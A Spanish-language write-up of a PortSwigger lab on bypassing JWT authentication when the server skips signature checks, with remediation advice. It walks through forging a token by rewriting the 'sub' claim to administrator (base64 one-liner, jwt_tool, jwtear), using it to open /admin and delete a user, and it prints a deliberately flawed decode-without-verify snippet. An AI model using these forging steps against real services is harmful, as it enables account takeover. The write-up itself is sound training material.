← Writeups

JWT authentication bypass via unverified signature

Bypass de autenticación por firma no verificada: el servidor no valida la firma de los JWTs, por lo que basta con modificar el claim sub (jwt_tool, base64 manual o jwtear) para acceder a /admin.

Target Overview & Vulnerability Summary

El laboratorio usa JWT para el manejo de sesiones. Debido a fallas en la implementación, el servidor backend no verifica la firma de los JWTs que recibe. El claim sub (subject) determina la identidad del usuario; al no validarse la firma, cualquier modificación del payload es aceptada. El objetivo es cambiar sub a administrator, acceder a GET /admin y eliminar a carlos.

Campo Valor
Severidad Alta (bypass de autenticación → GET /admin y eliminación de carlos)
Endpoint vulnerable POST /login, GET /admin
Root cause La verificación de firma JWT está omitida por defecto en el manejo de sesiones

Technical Breakdown & Exploitation Flow

Al realizar un POST /login desde el navegador con wiener:peter, la request interceptada por Burp Suite:

POST /login HTTP/2
Host: 0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Referer: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers

csrf=I8XmCpCf0CpQBEX8xOmm67StPI6Q2iFE&username=wiener&password=peter

La respuesta entrega el header Set-Cookie con el JWT en el valor de session:

Set-Cookie: session=eyJraWQiOiI0M2FiODI4OS0wMTY4LTRiOWUtOWYyZC03ZTRkYmIyNjYyN2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzE5NDI1NSwic3ViIjoid2llbmVyIn0.IO2E5wiUjsPnkOiWfH-1SQ6LqJx8lUCsxaSjRdti1cT7T3uqv-TIynm2En7sMTi624vUZfdfGROWp_8YYWwRtsawE7q1vcpW4uzrJyUscrqjCRyumTdBd0FiIw5aeV-q28FTosVkEE-G9pF-MMos-Scitg7zMbasEtw6Ax1ExgoiAEBNEqdeMpNaiQtEa7LpRqAYtgDd4sN1Ypt1Y3h-l49SKaLEaZqXpBeA49h_vJE9VFER0olJVgcyigTZTvtohNau3qotNcXaUNenFeTAzSFZpNWoVZ-2EPpr2S2ljR9EeEh7diz8cQVh1EaTtU6LCrsNxm_C4eIxuHYyFVvD4g; 

Estructura del JWT decodificado (header y payload):

{
  "kid": "43ab8289-0168-4b9e-9f2d-7e4dbb26627b",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1757194255,
  "sub": "wiener"
}

El claim sub contiene el usuario autenticado. Un GET /admin con el token legítimo confirma que la ruta está protegida.

Opción 1 — Bash puro (base64)

Construir el payload en una línea, modificar el atributo sub a administrator y codificarlo con base64 (sin necesidad de firmar, ya que la firma no se verifica):

echo '{"iss":"portswigger","exp":1717440541,"sub":"administrator"}' | base64

Reemplazar la sección de payload del JWT original por este valor (y ajustar el alg a none si se requiere).

Opción 2 — jwt_tool (Python)

Decodificar y aplicar tampering sobre el claim sub con el parámetro -T:

python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw -T

(En esta variante, aunque se deje el algoritmo original, como la implementación no valida la firma se puede omitir o usar cualquier clave; el modo interactivo de jwt_tool permite seleccionar alg: none.)

Opción 3 — Extensión JWT-Editor / herramientas de navegador

  • La extensión JWT-Editor de la BApp Store permite editar el payload y firmar/recalcular el token directamente en Repeater.
  • En el navegador, la extensión Cookie Editor o las DevTools (inspeccionando el storage de cookies) permiten reemplazar el valor de session por el JWT manipulado y refrescar.
  • Alternativa en Ruby: jwtear realiza la misma manipulación de JWS con una interfaz de header/payload:
jwtear jws -h <header> -p <payload con el campo sub modificado>

Con el JWT de administrador: GET /admin y DELETE /admin?username=carlos.

Root Cause Analysis

La vulnerabilidad es un error en el manejo de sesiones: el servidor confía en el contenido del JWT sin comprobar su integridad. El patrón defectuoso es la ausencia total de llamada a la verificación de firma:

// defectuoso: se decodifica y se confía en el payload sin verificar firma
claims := jwt.Decode(raw) // sin jwt.Verify
session.User = claims["sub"]

Al omitir Verify, el alg del header y la sección de firma son irrelevantes: basta con reescribir sub. Esto convierte al JWT en un simple bearer token en texto plano, manipulable por cualquier cliente.

Secure Remediation

  • Verificar la firma siempre antes de usar cualquier claim, y rechazar tokens con firma ausente o inválida:
token, err := jwt.Parse(raw, jwt.WithKey(jwa.RS256, pubKey))
if err != nil {
    return errors.New("invalid signature")
}
session.User = token.Claims().Subject
  • No tratar los claims como autoridad de identidad sin validar integridad, expiración (exp), emisor (iss) y audiencia (aud).
  • Configurar la verificación como obligatoria en el framework/librería y validarlo con tests que envíen tokens sin firma.